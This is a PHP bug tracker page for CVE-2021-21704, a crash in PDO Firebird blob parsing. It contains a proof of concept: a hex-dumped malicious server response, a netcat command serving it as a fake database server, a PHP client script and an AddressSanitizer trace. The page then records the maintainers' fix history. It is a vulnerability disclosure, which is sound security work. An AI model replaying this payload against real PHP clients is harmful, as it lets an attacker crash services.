PHP :: Sec Bug #76452 :: Crash while parsing blob data in firebird_fetch

Sec Bug #76452	Crash while parsing blob data in firebird_fetch_blob
Submitted:	2018-06-11 20:17 UTC	Modified:	2021-06-28 04:40 UTC
From:	trichimtrich at gmail dot com	Assigned:	stas (profile)
Status:	Closed	Package:	PDO Firebird
PHP Version:	7.3.0alpha1	OS:
Private report:	No	CVE-ID:	2021-21704

View Developer Edit

Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.

Password:

Status:
Package:
Bug Type:
Summary:
From:	trichimtrich at gmail dot com
New email:
PHP Version:		OS:

New Comment:

[2018-06-11 20:17 UTC] trichimtrich at gmail dot com

Description:
------------
A bug in pdo_firebase module allows a malicious firebase server or
man-in-the-middle attacker to crash PHP.

The length in response can set to -1 to make PHP crash.
Vulnerable code in:
\php-src\ext\pdo_firebird\firebird_statement.c:281
281: 		item_len = (unsigned short) isc_vax_integer(&bl_info[i], 2);
282: 
283: 		if (item == isc_info_blob_total_length) {
284: 			*len = isc_vax_integer(&bl_info[i+2], item_len);
285: 			break;
286: 		}
287: 		i += item_len+2;
288: 	}
289: 
290: 	/* we've found the blob's length, now fetch! */
291: 
292: 	if (*len) {
293: 		zend_ulong cur_len;
294: 		unsigned short seg_len;
295: 		ISC_STATUS stat;
296: 
297: 		*ptr = S->fetch_buf[colno] = erealloc(*ptr, *len+1);
298: 
299: 		for (cur_len = stat = 0; (!stat || stat == isc_segment) && cur_len < *len; cur_len += seg_len) {
300: 
301: 			unsigned short chunk_size = (*len-cur_len) > USHRT_MAX ? USHRT_MAX
302: 				: (unsigned short)(*len-cur_len);
303: 
304: 			stat = isc_get_segment(H->isc_status, &blobh, &seg_len, chunk_size, &(*ptr)[cur_len]);
305: 		}
306: 
307: 		(*ptr)[*len++] = '\0';


$ ./php --version
PHP 7.3.0-dev (cli) (built: Jun  9 2018 04:47:18) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.3.0-dev, Copyright (c) 1998-2018 Zend Technologies

Test script:
---------------
$ xxd stmt_blob.bin
00000000: 0000 005e ffff 800f 0000 0001 0000 0005  ...^............
00000010: 0000 0000 0000 000b 4c65 6761 6379 5f41  ........Legacy_A
00000020: 7574 6800 0000 0000 0000 0000 0000 005c  uth............\
00000030: 0000 0000 0000 000b 4c65 6761 6379 5f41  ........Legacy_A
00000040: 7574 6800 0000 0000 0000 0000 0000 0009  uth.............
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000070: 0000 0001 0000 0000 0000 0000 0000 0000  ................
00000080: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000090: 0000 0002 0000 0000 0000 0000 0000 0000  ................
000000a0: 0000 0001 0000 0000 0000 0000 0000 0009  ................
000000b0: 0000 0004 0000 0000 0000 0000 0000 00a1  ................
000000c0: 1504 0001 0000 001b 0400 0300 0000 0507  ................
000000d0: 0400 0000 0000 0407 0400 0200 0000 0904  ................
000000e0: 0001 0000 000b 0400 c101 0000 0c04 0000  ................
000000f0: 0000 000d 0400 0000 0000 0e04 0032 0000  .............2..
00000100: 0010 0300 4141 4111 0400 5445 5354 1206  ....AAA...TEST..
00000110: 0053 5953 4442 4113 0300 4141 4108 0904  .SYSDBA...AAA...
00000120: 0002 0000 000b 0400 0902 0000 0c04 0000  ................
00000130: 0000 000d 0400 0000 0000 0e04 0008 0000  ................
00000140: 0010 0400 4242 4242 1104 0054 4553 5412  ....BBBB...TEST.
00000150: 0600 5359 5344 4241 1304 0042 4242 4208  ..SYSDBA...BBBB.
00000160: 0100 0000 0000 0001 0000 0000 0000 0000  ................
00000170: 0000 0009 0000 0001 0000 0000 0000 0000  ................
00000180: 0000 0000 0000 0001 0000 0000 0000 0000  ................
00000190: 0000 0009 0000 0000 0000 0000 0000 0000  ................
000001a0: 0000 0000 0000 0001 0000 0000 0000 0000  ................
000001b0: 0000 0042 0000 0000 0000 0001 0000 0000  ...B............
000001c0: 0000 0004 6869 6869 0000 008b 0000 0000  ....hihi........
000001d0: 0000 0042 0000 0000 0000 0001 0000 0000  ...B............
000001e0: 0000 0005 6869 6869 3200 0000 0000 008b  ....hihi2.......
000001f0: 0000 0001 0000 0042 0000 0000 0000 0001  .......B........
00000200: 0000 0000 0000 0005 6869 6869 3200 0000  ........hihi2...
00000210: 0000 008b 0000 0002 0000 0042 0000 0000  ...........B....
00000220: 0000 0001 0000 0000 0000 0005 6869 6869  ............hihi
00000230: 3200 0000 0000 008b 0000 0003 0000 0042  2..............B
00000240: 0000 0064 0000 0000 0000 0009 0000 0003  ...d............
00000250: 0000 0000 0000 0000 0000 0000 0000 0001  ................
00000260: 0000 0000 0000 0000 0000 0009 0000 0003  ................
00000270: 0000 0000 0000 0000 0000 0008 0604 00ff  ................
00000280: ffff ff01 0000 0001 0000 0000 0000 0000  ................
00000290: 0000 0009 0000 0002 0000 0000 0000 0000  ................
000002a0: 0000 0005 0300 3132 3300 0000 0000 0001  ......123.......
000002b0: 0000 0000 0000 0000 0000 0009 0000 0000  ................
000002c0: 0000 0000 0000 0000 0000 0000 0000 0001  ................
000002d0: 0000 0000 0000 0000 0000 0009 0000 0002  ................
000002e0: 0000 0000 0000 0000 0000 0000 0000 0001  ................
000002f0: 0000 0000 0000 0000 0000 0009 ffff ffff  ................
00000300: 0000 0000 0000 0000 0000 0000 0000 0001  ................
00000310: 0000 0000 0000 0000 0000 0009 0000 0000  ................
00000320: 0000 0000 0000 0000 0000 0000 0000 0001  ................
00000330: 0000 0000 0000 0000 0000 0009 0000 0000  ................
00000340: 0000 0000 0000 0000 0000 0000 0000 0001  ................
00000350: 0000 0000 0000 0000                      ........


$ nc -lvp 3050 < stmt_blob.bin


$ cat fire_stmt_blob.php
<?php
$dsn = 'firebird:dbname=localhost:employee;charset=utf8;';
$username = 'SYSDBA';
$password = 'masterkey';

$dbh = new PDO($dsn, $username, $password, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
$sql = "select * from test";
$query = $dbh->prepare($sql);
$query->execute();
var_dump($query->fetch());
?>


Expected result:
----------------
No crash

Actual result:
--------------
$ ./php fire_stmt_blob.php
=================================================================
==5574==ERROR: AddressSanitizer: negative-size-param: (size=-1)
    #0 0x4ce057 in __asan_memcpy /scratch/llvm/clang-4/xenial/final/llvm.src/projects/compiler-rt/lib/asan/asan_interceptors.cc:453:3
    #1 0xcd44b1 in fetch_value (/mnt/hgfs/share/htdocs/php+0xcd44b1)
    #2 0xccd658 in do_fetch (/mnt/hgfs/share/htdocs/php+0xccd658)
    #3 0xcc605c in zim_PDOStatement_fetch (/mnt/hgfs/share/htdocs/php+0xcc605c)
    #4 0x12e2d9f in ZEND_DO_FCALL_SPEC_RETVAL_USED_HANDLER (/mnt/hgfs/share/htdocs/php+0x12e2d9f)
    #5 0x1212bcf in execute_ex (/mnt/hgfs/share/htdocs/php+0x1212bcf)
    #6 0x121320b in zend_execute (/mnt/hgfs/share/htdocs/php+0x121320b)
    #7 0x11175c0 in zend_execute_scripts (/mnt/hgfs/share/htdocs/php+0x11175c0)
    #8 0xfa4878 in php_execute_script (/mnt/hgfs/share/htdocs/php+0xfa4878)
    #9 0x1412cc4 in do_cli (/mnt/hgfs/share/htdocs/php+0x1412cc4)
    #10 0x1410e67 in main (/mnt/hgfs/share/htdocs/php+0x1410e67)
    #11 0x7f05cd17382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #12 0x43d878 in _start (/mnt/hgfs/share/htdocs/php+0x43d878)

Address 0x7f05c7a87010 is a wild pointer.
SUMMARY: AddressSanitizer: negative-size-param /scratch/llvm/clang-4/xenial/final/llvm.src/projects/compiler-rt/lib/asan/asan_interceptors.cc:453:3 in __asan_memcpy
==5574==ABORTING

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports

[2018-06-20 04:09 UTC] stas@php.net

-Assigned To: +Assigned To: lwe

[2018-06-28 08:31 UTC] trichimtrich at gmail dot com

any update for this one?

[2021-04-30 14:23 UTC] cmb@php.net

-Status: Assigned +Status: Verified -Assigned To: lwe +Assigned To: cmb

[2021-05-05 10:54 UTC] cmb@php.net

-Assigned To: cmb +Assigned To: stas

[2021-05-05 10:54 UTC] cmb@php.net

Suggested patch:
<https://gist.github.com/cmb69/bbf45c1f420fcc16a98d2a9614db8729>.

This requires the payload server[1], and is developed against
PHP-7.4.  For PHP-7.3 at least some adjustments need to be done.
I can do that, but first would like to confirm that the patch and
the testing "framework" are generally acceptable.

Stas, what do you think?

[1] <https://github.com/php/php-src/pull/6940>

[2021-06-21 04:54 UTC] stas@php.net

@cmb I think we may want to use safe_erealloc here?

[2021-06-21 05:10 UTC] stas@php.net

-CVE-ID: +CVE-ID: 2021-21704

[2021-06-21 06:22 UTC] stas@php.net

-Private report: No +Private report: Yes

[2021-06-28 04:41 UTC] git@php.net

Automatic comment on behalf of cmb69 (author) and smalyshev (committer)
Revision: https://github.com/php/php-src/commit/286162e9b03071c4308e7e92597bca4239f49d89
Log: Fix #76452: Crash while parsing blob data in firebird_fetch_blob

[2021-06-28 04:41 UTC] git@php.net

-Status: Verified +Status: Closed

[2022-06-07 15:09 UTC] git@php.net

Automatic comment on behalf of ramsey
Revision: https://github.com/php/php-src/commit/a6a13139db522e0c2f9eb26550a47c31b1edde13
Log: Fix #76452: Crash while parsing blob data in firebird_fetch_blob

	php.net \| support \| documentation \| report a bug \| advanced search \| search howto \| statistics \| random bug \| login
go to bug id or search bugs for


Copyright © 2001-2024 The PHP Group All rights reserved.	Last updated: Thu Nov 21 15:01:30 2024 UTC